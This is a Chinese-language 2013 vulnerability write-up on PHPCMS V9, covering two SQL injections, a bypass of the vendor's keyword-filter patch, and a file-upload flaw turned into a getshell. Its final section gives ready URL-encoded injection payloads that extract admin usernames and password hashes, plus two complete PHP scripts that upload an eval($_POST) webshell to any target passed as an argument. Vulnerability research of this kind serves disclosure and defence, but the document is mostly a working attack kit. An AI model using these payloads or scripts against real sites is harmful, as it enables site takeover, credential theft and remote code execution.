0x00 前言
0x01 新年左右的注入
0x02 绕过厂商的补丁
0x03 破不开的密码
0x04 曾经的 getwebshell
0x05 补漏了 apache
0x06 Exploit 编写
0x07 结束语
0x00 前言
PHPCMS V9(后面简称 V9)采用 PHP5+MYSQL 做为技术基础进行开发。V9 采用 OOP(面向对象)
方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的
二次开发能力,可满足所有网站的应用需求。 5 年开发经验的优秀团队,在掌握了丰富的 WEB 开发经验
和 CMS 产品开发经验的同时,勇于创新追求完美的设计理念,为全球多达 10 万网站提供助力,并被更多
的政府机构、教育机构、事业单位、商业企业、个人站长所认可。
V9 在保留 2008 版的特点的同时,对新版本作出重大的创新,以期待全新的 PHPCMS 系统服务更多
的用户。 (以上复制的官网简介)
新年到来的时候 wooyun 和 t00ls 上都有把 phpcms v9 的漏洞作为新年礼物发布出来和大家分享, 我也
去下载了最新的 phpcms v9 的程序分析了下代码,在此把一些菜鸟的心得说给大家听下,望大家指正。
0x01 新年左右的注入
1.短消息回复注入
/phpcms/modules/message/index.php
public function reply() { if(isset($_POST['dosubmit'])) { $messageid = intval($_POST['info']['replyid']); // 判断当前会员,是否可发,短消息. $this->message_db->messagecheck($this->_userid); // 检查此消息是否有权限回复 $this->check_user($messageid,'to'); $_POST['info']['send_from_id'] = $this->_username; $_POST['info']['message_time'] = SYS_TIME; $_POST['info']['status'] = '1'; $_POST['info']['folder'] = 'inbox'; $_POST['info']['content'] = safe_replace($_POST['info']['content']); $_POST['info']['subject'] = safe_replace($_POST['info']['subject']); if(empty($_POST['info']['send_to_id'])) { howmessage(L('user_noempty'),HTTP_REFERER); } $messageid = $this->message_db->insert($_POST['info'],true);/ /这儿数据传入 if(!$messageid) return FALSE; showmessage(L('operation_success'),HTTP_REFERER); } else { $show_validator = $show_scroll = $show_header = true; include template('message', 'send'); } } 上边把 POST 数据直接传入了 insert 函数 Mysql.class.php 中: public function insert($data, $table, $return_insert_id = false, $replace = false) { if(!is_array( $data ) || $table == '' || count($data) == 0) { return false; } $fielddata = array_keys($data);//这儿直接以数组下标作为字段 $valuedata = array_values($data); array_walk($fielddata, array($this, ' add_special_char ')); // 到了关键地方,关键的过滤函数 add_special_char array_walk($valuedata, array($this, 'escape_string')); $field = implode (',', $fielddata); $value = implode (',', $valuedata); $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO'; $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')'; $return = $this->execute($sql); return $return_insert_id ? $this->insert_id() : $return; }
漏洞函数出现了:
public function add_special_char(&$value) { if('*' == $value || false !== strpos($value, '(') || false !== strpos($value, '.') || false !== strpos ( $value, '`')) { // 不处理包含* 或者 使用了 sql 方法。 } else { $value = '`'.trim($value).'`'; } return $value; }
上边过滤函数没有有效过滤
2.生日修改注入
漏洞函数
/phpcms/modules/member/index.php public function account_manage_info() { if(isset($_POST['dosubmit'])) { // 更新用户昵称 $nickname = isset($_POST['nickname']) && trim($_POST['nickname']) ? trim($_POST['nickname']) : ''; if($nickname) { $this->db->update(array('nickname'=>$nickname), array('userid'=>$this->memberinfo['userid'])); if(!isset($cookietime)) { $get_cookietime = param::get_cookie('cookietime'); } $_cookietime = $cookietime ? intval($cookietime) : ($get_cookietime ? $get_cookietime : 0); $cookietime = $_cookietime ? TIME + $_cookietime : 0; param::set_cookie('_nickname', $nickname, $cookietime); } require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($this->memberinfo['modelid']); $modelinfo = $member_input->get($_POST['info']);/ /数据传入 get 函数,经过 get 函数对注入语句无影响 $this->db->set_model($this->memberinfo['modelid']); $membermodelinfo = $this->db->get_one(array('userid'=>$this->memberinfo['userid'])); if(!empty($membermodelinfo)) { $this->db->update($modelinfo, array('userid'=>$this->memberinfo['userid'])); // 进入 sql 语句形成注 入 } else { $modelinfo['userid'] = $this->memberinfo['userid']; $this->db->insert($modelinfo); } Mysql.class.php 文件 public function update($data, $table, $where = '') { if($table == '' or $where == '') { return false; } $where = ' WHERE '.$where; $field = ''; if(is_string($data) && $data != '') { $field = $data; } elseif (is_array($data) && count($data) > 0) { $fields = array(); foreach($data as $k=>$v) { switch (substr($v, 0, 2)) { case '+=': $v = substr($v,2); if (is_numeric($v)) { $fields[] = $this->add_special_char($k).'='.$this->add_special_char($k).'+'.$this->escape_string($v, '', false); } else { continue; } break; case '-=': $v = substr($v,2); if (is_numeric($v)) { $fields[] =$this->add_special_char($k).'='.$this-> add_special_char($k).'-'.$this->escape_string($v, '', false); } else {continue;} break; default: $fields[] = $this->add_special_char($k).'='.$this->escape_string($v); } } $field = implode(',', $fields); } else { return false; } $sql = 'UPDATE `'.$this->config['database'].'`.`'.$table.'` SET '.$field.$where; return $this->execute($sql); }
可以清楚的看出又是使用的 add_special_char 函数过滤哦。所以其实这两个注入都是利用的程序设计
的同一个 bug。
0x02 绕过厂商的补丁
当让漏洞被发现者上报 wooyun 后厂商也做了相应的补丁,厂商也找到了漏洞的根源也就是: public
function add_special_char(&$value)函数。
补丁后函数如下:
public function add_special_char(&$value) { if('*' == $value || false !== strpos($value, '(') || false !== strpos($value, '.') || false !== strpos ( $value, '`')) { // 不处理包含* 或者 使用了 sql 方法。 } else { $value = '`'.trim($value).'`'; } if (preg_match("/b(select|insert|update|delete)b/i", $value)) { $value = preg_replace("/b(select|insert|update|delete)b/i", '', $value); } return $value; }
很明显厂商直接做了过滤:
$value = preg_replace("/b(select|insert|update|delete)b/i", '', $value);
看着这个可能有人会猜测 selselectect 是不是可以绕过呢,答案是否的。大家可以看到有个b,这个为
整词匹配,也就是说如果你是 selselectect ,这个为一个完整的词,用这个完整的词去匹配,不会单独拿这
个词的一部分去匹配,因此经过匹配仍然是 selselecctect 。
那我们怎么绕过呢?
/*!50000select*/这个就是答案了,首先作为一个整词50000select 是不会被正则掉的,其次使用/*!*/这
个特殊的 mysql 的特性使得 select 的作用不变,完整的绕过了补丁。
从上文提到的两个注入可以看出这个过滤函数是非常重要的,如果这个过滤函数被绕过了,注入漏洞
也许不止上文中的两个吧!
0x03 破不开的密码
上文提到了注入,我们也只是得到了当前的数据库操作权限(数据库权限大,可以跨库之类的就另当
别论了) 。
当然我们有了注入读取管理员进入后台, 然后后台 getwebshell 这个是一般思路, 但是 phpcms v9 的加
密是加有 salt 的和 dz 加密一样,使之破解难度非常大。以前写过一个 php 破解脚本,单线程效率灰常低,
有兴趣了可以看下。
http://lanu.sinaapp.com/PHP_study/89.html
密码破不开只能看看有没有什么前台 getwebshell 之类的了。
0x04 曾经的 getwebshell
漏洞文件:phpcmsmodulesattachmentattachments.php
漏洞函数:crop_upload
if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"];//这里可以得知,图片内容由 POST 控制 // 中间省略十万行 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basename = basename($file); if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } // 中间省略十万行 file_put_contents($this->upload_path.$filepath.$new_file, $pic); // 上面可见,文件名$basename 可控,图片内容可控,还有什么不能做?? }
上面这段代码是截取 wooyun 上的,时间太久了没有找到当时漏洞版本的程序。
网上也有相应的 exp:
<?php error_reporting(E_ERROR); set_time_limit(0); $pass="wooyun.in"; print_r(' +---------------------------------------------------------------------------+ PHPCms V9 GETSHELL 0DAY c0de by testr00ttest 针对 iis6.0 的漏洞 有点鸡肋 但是也可以用 apache 是老版本可能会产生问题 +---------------------------------------------------------------------------+ '); echo ' 密码为'.$pass; if ($argc < 2) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' url [js] js 类型配置 1 为 asp 2 为 php 3 为 apache 的版本 Example: php '.$argv[0].' www.wooyun.in 1 +---------------------------------------------------------------------------+ '); exit; } $url=$argv[1]; $js=$argv[2];// 写入脚本类型 wooyun.in $phpshell='<?php @eval($_POST[''.$pass.'']);?>'; $aspshell='<%eval request("'.$pass.'")%>'; if($js==1){ $file="1.asp;1.jpg"; $ret=GetShell($url,$aspshell,$file); }else if($js==2){ $file="1.php;1.jpg"; $ret=GetShell($url,$phpshell,$file); }else if($js==3){ $file="1.php.jpg"; $ret=GetShell($url,$phpshell,$file); }else{ print_r('没有选择脚本类型'); } $pattern = "|http://[^,]+?.jpg,?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]){ echo "rnurl 地址:".$matches[0][0]; }else{ echo "rn 没得到!"; } function GetShell($url,$shell,$js){ $content =$shell; $data = "POST /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/". $js." HTTP/1.1rn"; $data .= "Host: ".$url."rn"; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1rn"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"; $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3rn"; $data .= "Connection: closern"; $data .= "Content-Length: ".strlen($content)."rnrn"; $data .= $content."rn"; //echo $data; $ock=fsockopen($url,80); if (!$ock) { echo " No response from ".$url."n"; } fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; } ?>
可以看出基本都是利用的 web 容器的解析漏洞,时间过了这么久了,厂商补丁应该是打上了。
我在最新的 phpcms 中使用这个 exp,没有成功。
0x05 补漏了 apache
补丁已打,但却依然不是那么完善。
最新程序:
public function crop_upload() { if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']); //过滤了顿号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit(); //is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basename = basename($file);// 获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic); } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } 后缀检测: phpcmsmodulesattachmentfunctionsglobal.func.php function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 关键函数: function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } Fileext 函数是对文件后缀名的提取。
根据此函数我们如果上传文件名为 ddd.Php.jpg%20%20%20%20%20%20%20Php
经过此函数提取到的后缀还是 jpg ,因此正在 is_image()函数中后缀检测被绕过了。
我们回到 public function crop_upload() 函数中
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
在经过了 is_image 的判断之后又来了个.php 的判断,在此程序员使用的是 strpos 函数
这个函数是对大小写敏感的函数我们使用.Php 就可以直接绕过了。
经过上边的两层的过滤我们的 ddd.Php.jpg%20%20%20%20%20%20%20Php 后缀依然有效。
最后$basename 变量的值就为 ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用 file_put_contents
函数写入到了指定目录。
看见 ddd.Php.jpg%20%20%20%20%20%20%20Php 这个后缀,大家应该明白了,它用在 apache 搭建的
服务器上可以被解析。
0x06 Exploit 编写
1.注入:
短消息回复注入:
%60userid%60%29+values%28%28/*!50000SeLECT*/+1+FROM+%28/*!50000SeLECT*/+count%28%2a%29 %2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28/*!50000SeLECT*/+%28/*!50000S eLECT*/+concat%280x23%2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%29+a s+char%29%2C0x23%29+from+v9_admin+LIMIT++0%2C1%29%29%2C1%2C62%29%29%29a+from+inform ation_schema%2Etables+group+by+a%29b%29%29+%2D%2D+
生日修改注入:
%60userid%60%3D%28/*!50000SeLECT*/+1+FROM+%28/*!50000SeLECT*/+count%28%2a%29%2Cconcat %28floor%28rand%280%29%2a2%29%2C%28substring%28%28/*!50000SeLECT*/+%28/*!50000SeLECT*/+ concat%280x23%2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%29+as+char%2 9%2C0x23%29+from+v9_admin+LIMIT++0%2C1%29%29%2C1%2C62%29%29%29a+from+information_sch ema%2Etables+group+by+a%29b%29+%2D%2D+
2.getshell(apache)
<?php error_reporting(E_ERROR); set_time_limit(0); $pass="ln"; print_r(' +---------------------------------------------------------------------------+ PHPCms V9 GETSHELL 0DAY code by L.N. apache 适用(利用的 apache 的解析漏洞) +---------------------------------------------------------------------------+ '); if ($argc < 2) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' url path Example: 1.php '.$argv[0].' lanu.sinaapp.com 2.php '.$argv[0].' lanu.sinaapp.com /phpcms +---------------------------------------------------------------------------+ '); exit; } $url = $argv[1]; $path = $argv[2]; $phpshell = '<?php @eval($_POST[''.$pass.'']);?>'; $file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php'; if($ret=Create_dir($url,$path)) { //echo $ret; $pattern = "|Server:[^,]+?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]) { if(strpos($matches[0][0],'Apache') == false) { echo "n 亲!此网站不是 apache 的网站。n";exit; } } $ret = GetShell($url,$phpshell,$path,$file); $pattern = "|http://[^,]+?.,?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]) { echo "n".'密码为: '.$pass."n"; echo "rnurl 地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."n";exit; } else { $pattern = "|/uploadfile/[^,]+?.,?|U"; preg_match_all($pattern, $ret, $matches); if($matches[0][0]) { echo "n".'密码为: '.$pass."n"; echo "rnurl 地 址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."n";exit; } else { echo "rn 没得到!n";exit; } } } function GetShell($url,$shell,$path,$js) { $content =$shell; $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path. "/uploadfile/".$js." HTTP/1.1rn"; $data .= "Host: ".$url."rn"; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1rn"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"; $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3rn"; $data .= "Connection: closern"; $data .= "Content-Length: ".strlen($content)."rnrn"; $data .= $content."rn"; $ock=fsockopen($url,80); if (!$ock) { echo "n"."此网站没有回应, 检测 url 是否输入正确"."n";exit; } else { fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; } } function Create_dir($url,$path='') { $content ='I love you'; $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp. com/1.jpg HTTP/1.1rn"; $data .= "Host: ".$url."rn"; $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1rn"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"; $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3rn"; $data .= "Connection: closern"; $data .= "Content-Length: ".strlen($content)."rnrn"; $data .= $content."rn"; $ock=fsockopen($url,80); if (!$ock) { echo "n"."此网站没有回应, 检测 url 是否输入正确"."n";exit; } fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024); } return $resp; } ?>
0x07 结束语
以上皆是小菜一家之言,
如有错误希望指正,
如有建议希望讨论,
最后祝大家新年快乐。
作者:L.N. && N3w1yB1r7h
博客:lanu.sinaapp.com
时间:2013 年 2 月 19 日
评论 (0)